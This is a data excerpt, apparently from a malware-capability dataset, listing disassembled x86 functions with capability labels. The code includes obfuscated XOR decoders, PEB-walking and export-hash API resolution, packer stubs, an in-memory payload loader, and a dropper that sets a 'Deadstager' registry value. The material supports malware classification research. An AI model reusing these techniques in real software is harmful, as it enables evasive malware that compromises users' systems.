joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100ab2e9
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100ab30b
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100ab4ad
cmp edi, dword [ebp + 0x10]
jb 0x100ab4ad
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.100aadd5
inc edi
jmp 0x100ab394
jmp 0x100ab3a1
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100aadd5
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100aadd5
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100ab3f5
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100ab3d9
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100ab423
add dword [eax], 0x39
jle 0x100ab3ff
sub al, 0xf5
mov ch, al
call fcn.100ab438
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x100ad110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100ad126
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100ad137
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100ad178
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x100af4e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100af42d
add ebx, 0
push ecx
call 0x100af442
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x72da633b
sub ebx, dword [0x72dc5b7a]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x72dc5b6a
call fcn.100aaf0c
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100aa41a
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100af5a0
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100af5a0
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100af557
mov eax, 1
lock xchg dword [0x72dc5b76], eax
push 0x3dd1fc71
call 0x100af4e4
push esi
add esp, 8
cmp eax, 0
jne 0x100af4cd
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100af4f3
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100af508
cmp ecx, edx
cmp eax, 0
je 0x100af52d
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100af517
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100af546
dec eax
loope 0x100af549
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x72dc5b76], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100af57d
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100af592
jmp 0x100af59d
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100af48b
Function at 0x100b6605
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100b68db
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x72db27ee
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x72da97b4
push 0xffffffffffffffff
call fcn.100ad805
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100b666f
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100b6687
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100b68cf
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100b68a3
Function at 0x100c60d5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100c60f7
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100c60f7
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100c60f7
ret
cmp word [ebx + 4], 0x14c
jne 0x100c60f7
test word [ebx + 0x16], 2
je 0x100c60f7
test word [ebx + 0x16], 0x100
je 0x100c60f7
cmp word [ebx + 0x18], 0x10b
jne 0x100c60f7
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100c60f7
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100c6183
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100c6117
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100ad062
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100c60f7
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100c6183
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100c60f7
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100c60f7
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100c60f7
ret
cmp word [ebx + 4], 0x14c
jne 0x100c60f7
test word [ebx + 0x16], 2
je 0x100c60f7
test word [ebx + 0x16], 0x100
je 0x100c60f7
cmp word [ebx + 0x18], 0x10b
jne 0x100c60f7
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100c60f7
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100c6183
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100c6117
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100ad062
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100c60f7
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100c623a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c6293
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c623a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c6249
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104cbeec
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c629a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100ad110
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c6339
add edi, 4
add eax, 2
dec ecx
jne 0x100c627f
call 0x100c62e6
loope 0x100c62dc
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c6336
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c6347
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c62fa
cmp eax, ecx
ja 0x100c62fa
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c6384
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c637a
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.100ad5ef
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100c6249
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c6293
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c623a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c6249
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104cbeec
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c629a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100ad110
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c6339
add edi, 4
add eax, 2
dec ecx
jne 0x100c627f
call 0x100c62e6
loope 0x100c62dc
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c6336
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c6347
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c62fa
cmp eax, ecx
ja 0x100c62fa
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c6384
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c637a
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.100ad5ef
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x464e10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x452cdc
sub eax, eax
test esi, esi
je 0x464ef0
sub eax, 1
test ecx, ecx
je 0x464eee
test esi, 3
je 0x464e4e
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x464e33
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x464ed5
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x464e5c
mov ecx, edx
test ecx, ecx
je 0x464eee
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x464edb
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d7a
nop
nop
sub eax, 0x403d20
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x25809361
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x25809370
pop dword [ebp - 0x24]
mov eax, 0xc04e06fc
add eax, 0x65328c74
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x74a3c5d8
add dword [ebp - 0x34], 0xd9ae7f73
mov dword [ebp - 0x30], 0x85fed3cf
add dword [ebp - 0x30], 0xac347876
mov dword [ebp - 0x2c], 0x565aaea
sub dword [ebp - 0x2c], 0xb91966bc
mov dword [ebp - 0x28], 0x3c4a96c6
add dword [ebp - 0x28], 0xc3b5693a
lea eax, [ebp - 0x34]
push eax
mov eax, 0x2add41ea
add eax, 0xfaa3fe7a
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x81367089
sub dword [ebp - 0x34], 0xcc40733
mov dword [ebp - 0x30], 0x93fef106
add dword [ebp - 0x30], 0xad6d706f
mov dword [ebp - 0x2c], 0xc9830973
add dword [ebp - 0x2c], 0x99ec62f9
mov dword [ebp - 0x28], 0xf7b16116
sub dword [ebp - 0x28], 0xf7b16116
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x2886d22e
sub eax, 0x30591be
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3e050
push 0
call eax
mov ecx, 0x17e13ade
add ecx, 0xe81f1a27
xor edi, edi
add edi, eax
mov ebx, 0x654c73a6
sub ebx, 0x3fca97a6
add ebx, dword [ebp - 0x24]
mov esi, 0x6de9d980
sub esi, 0xe324c7de
sub dword [ebp - 0x14], ecx
mov edx, dword [ebx]
xor dword [ebp - 8], edx
add edx, esi
sub dword [ebp - 0x14], edi
mov dword [edi], edx
sub dword [ebp - 0x20], 0x3193093
add edi, 0x26f54c9
sub edi, 0x26f54c5
add ebx, 0x604a0d41
sub ebx, 0x604a0d3d
loop 0x25809494
add eax, 0x8eace527
sub eax, 0x8eab9e40
xor ebx, ebx
add ebx, eax
add eax, 0xc1323782
sub eax, 0xc132377d
mov ecx, 0x51fac598
sub ecx, 0x2c7ac598
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x4017a6
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x4021bc
push 0x65
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x401863
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x401862
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401862
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0xf013f
push ebx
push 0x4021c0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401862
push edi
push esi
push 3
push ebx
push str.Deadstager
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401862
call fcn.00401869
mov ebx, str.Deadsvc32
mov esi, eax
mov ecx, ebx
call fcn.00401672
mov edi, str.Deadsvc64
mov ecx, edi
call fcn.00401672
call fcn.0040112d
test eax, eax
push esi
cmove edi, ebx
push ecx
mov ecx, edi
call fcn.004011ab
pop ecx
pop ecx
test eax, eax
je 0x401862
mov ecx, edi
call fcn.00401518
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x41e855
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e4f7

Function at 0x41e860
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e686

Function at 0x41ec5a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040c0f0
mov eax, dword [0x482400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041c46a
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41ec9c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41edf8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004276f0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x484d20]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041f9f9
mov ecx, dword [esi*4 + 0x484d20]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41edf1
cmp eax, dword [edi + ecx + 0x24]
jne 0x41edf1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41edf1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041f9f9
add esp, 0x14
test edx, edx
jl 0x41edf1
jg 0x41ed67
test eax, eax
jb 0x41edf1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41edf1
jl 0x41ed81
cmp dword [ebp - 0x1008], eax
ja 0x41edf1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41ed9f
test ebx, ebx
je 0x41edd8
cmp ecx, edi
jae 0x41edd8
mov al, byte [ecx]
cmp al, 0xd
jne 0x41edb9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41edc5
cmp byte [ecx + 1], 0xa
jne 0x41edc5
inc ecx
jmp 0x41edc5
movzx eax, al
movsx eax, byte [eax + 0x4826c8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41ed9f
cmp edx, ebx
jne 0x41ed9f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41edf6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040b4e1
leave
ret
Function at 0x41ee97
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x484d20]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41eed7
cmp byte [ebx], 0xa
jne 0x41eed7
or byte [eax + edi + 0x28], 4
jmp 0x41eedc
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41efda
mov al, byte [edx]
cmp al, 0x1a
je 0x41efbc
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41ef0b
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41ef30
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41ef3a
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41eeed
jmp 0x41efda
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41efb7
cmp dword [ebp - 0xc], 0
je 0x41efb7
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x484d20]
test byte [eax + edi + 0x28], 0x48
je 0x41ef91
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ef7c
mov byte [esi], dl
jmp 0x41ef8d
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x484d20]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41efda
cmp byte [ebp - 1], 0xa
jne 0x41efa0
cmp esi, ebx
jne 0x41efa0
mov byte [esi], 0xa
jmp 0x41efd9
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041fa17
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41efda
mov byte [esi], 0xd
jmp 0x41efd9
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x484d20]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41efd6
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41efda
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret